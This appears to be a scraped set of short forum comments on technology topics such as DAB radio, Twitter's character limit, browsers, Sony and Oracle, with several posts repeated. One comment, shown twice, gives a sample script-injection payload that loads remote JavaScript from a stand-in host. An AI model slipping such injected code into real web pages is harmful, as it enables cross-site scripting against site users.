And yet still I can count the number of people I personally know who own DAB radios on the finger of... well, one finger, actually.
That's because pretty much every DAB station available is also broadcast via DVB networks. There's no point buying an extra radio when it can be had through the TV box already.
Ah, so the 140-character limit is actually beneficial in some sense!
On most "web 2.0" sites this is counteracted by JS libraries enabling 1/2-character abbreviations for excessively powerful code, allowing attackers to squeeze in things along the lines of: $(this).append($('<script src=//example.com/hax.js>'))
I bought an X3 (now an X4) just over a year ago. It's not the fastest thing in the world, but for encoding videos/compiling code it's more than good enough for me. Also it runs cool enough that you can safely run it with the stock fan powered off for average desktop use.
The facts can wait until the trial. Until then the OP can make all the assertions he wants, because this guy is still innocent by the standards of any civilised part of the world.
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And would want to listen to the contents of Sony music CDs instead of putting them in a blender.
With Oracle it doesn't have to make sense, it just has to make money.
That quote describes most of their software!
And yet still I can count the number of people I personally know who own DAB radios on the finger of ... well, one finger, actually.
That's because pretty much every DAB station available is also broadcast via DVB networks. There's no point buying an extra radio when it can be had through the TV box already.
Don't point the finger at them. They are the victims of bait-and-switch fraud by Sony, after all.
And then we'll store the entire planet's data in an office desk drawer somewhere.
2 weeks later we will find out the hard way that no-one made any backups.
Episode IV? But that would imply there were three episodes before it, which is wrong.
Ah, so the 140-character limit is actually beneficial in some sense!
On most "web 2.0" sites this is counteracted by JS libraries enabling 1/2-character abbreviations for excessively powerful code, allowing attackers to squeeze in things along the lines of:
$(this).append($('<script src=//example.com/hax.js>'))
I bought an X3 (now an X4) just over a year ago. It's not the fastest thing in the world, but for encoding videos/compiling code it's more than good enough for me. Also it runs cool enough that you can safely run it with the stock fan powered off for average desktop use.
Enjoy downloading your high resolution but blocky and fuzzy mess.
Thanks! I do.
Blu-Ray owners, on the other hand, seem quite bitter.
When Windows XP stops being the most used Windows OS.
It's sad that that site puts so much effort into ignoring MathML.
Have you ever *used* the 701's keyboard? It's horrible for pretty much any extended use. The slightly larger later models are a million times better.
Global conspiracy?
You must be one of the 87% of Americans who can't find their own country on a world map.
140 characters, but they're mostly noise.
IE9 cheats on popular benchmarks (scroll to the bottom). And they still come second-to-last.
The facts can wait until the trial. Until then the OP can make all the assertions he wants, because this guy is still innocent by the standards of any civilised part of the world.
An Intel GPU outperforming a same-gen Radeon? Holy crap, did I wake up in an alternate universe today?
There's a workaround for 2.10 here.
They should've done like mozilla and stored them in Mork format, nobody would be able to read them then
1 - 2 - 3 - 4 - 5 - 6 is a lot more sensible than 1.0 - 1.5 - 2.0 - 3.0 - 3.5 - 3.6 - 4.0.
Considering that Yellowstone is theorised to be near its next eruption, I'm all in favour of packing its top with as many greedy assholes as possible.
...and then has the arrogance to censor people who call them out on their bigotry!
How's rock bottom going, guys?
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Thapple.
Opera: A browser that reimplements ideas from Konqueror years after the fact then gloats about it.